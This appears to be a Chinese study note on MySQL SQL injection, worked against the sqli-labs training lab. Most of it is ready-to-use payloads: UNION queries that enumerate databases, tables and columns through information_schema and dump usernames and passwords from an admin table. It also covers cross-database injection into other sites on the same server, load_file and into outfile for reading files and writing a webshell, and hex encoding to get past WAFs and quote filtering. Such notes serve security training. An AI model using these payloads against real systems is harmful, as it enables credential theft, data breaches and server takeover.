接收的数值未进行过滤直接带入SQL进行查询操作。
利用以上原理中SQL语句执行,查询出数据库中的信息(SQL语句执行能干什么,注入就能干什么)
SQL语句能干嘛–>SQL语句由谁决定 —> 数据库类型决定(所以SQL注入分为MySQL注入、Oracle注入等)
服务器安装MYSQL数据库,搭建多个站点,数据集中存储在MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理
access无数据库用户
1、统一交root用户管理
www.zblog.com = zblog = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com = zblog = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
1、判断常见四个信息(系统,用户,数据库名,版本)
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
为什么要先测试读写:
因为目的一般是为了获取当前web权限,若能读写文件,直接后门获取权限
一般获取数据是为了登录后台,登录后想办法上传webshell —> 获取权限
所以说就算获取到了数据,也不一定能够拿到权限。因为可能进去后台了但是后台里面啥都没有
非root用户:直接测试获取数据
ACCESS数据库没有类似MySQL中的information_schema这种东西,所以
access注入 sqlmap 只能靠字典去猜,又可能会猜不到表名,列名,就获取不到数据
依次从information_schema中查出数据库名,数据库所有表名、列名
然后根据以上信息查询数据。
order by 6 (字段个数)
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
union select 1,2,3,username,password,6 from admin limit 0,1
目的:获取数据
一步步得到信息,先获取数据库名,再获取其中表名,然后获取列名,最后查询数据。其中每一步都尽可能筛选出一些敏感信息如admin,password等。
order by 6 (字段个数)
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
union select 1,2,3,username,password,6 from admin limit 0,1
1、确认有注入点
http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+
2、确认回显位置:
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
3、获取数据库名以及用户:
localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+
若用户为root用户则可以进行跨库注入查询。
4、获取库中所有表名:
localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+
5、选取可能有敏感信息(账号密码)的表进行查列:
6、查列后根据库名表名列名查询数据
如果注入点是一个root用户管理的点,就可以查到所有库
—> 可以实现从A网站(由root用户管理)的注入点跨库查询到B网站(由非root用户管理)的数据
管理当前数据库的用户是否为ROOT权限
测试不同数据库用户
通过B网站的注入点获取A网站的账号密码/数据
通过SQL注入,使用SQL语句中的load_file()
读取文件
使用SQL语句中的into outfile
将内容写入文件
1、当前数据库用户权限
root权限才可使用
load_file()
读取文件。
2、secure-file-priv设置
设置后就无法读取了
my.ini中固定
高版本的MySQL自带该保护,默认开启。只存在一些中低版本
测试不同数据库用户:root demo
union select 1,load_file('d:\\1.txt'),3,4,5,6
union select 1,'eval',3,4,5,6 into outfile 'd:\\2.txt'
可以将路径改编码,—> 十六进制编码 —> 为了绕过WAF或者单引号过滤等。
用十六进制,前面加0x,即可不要单引号
单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
1、报错显示获取路径
2、phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装路径,读取有价值信息
现在很少出现该漏洞了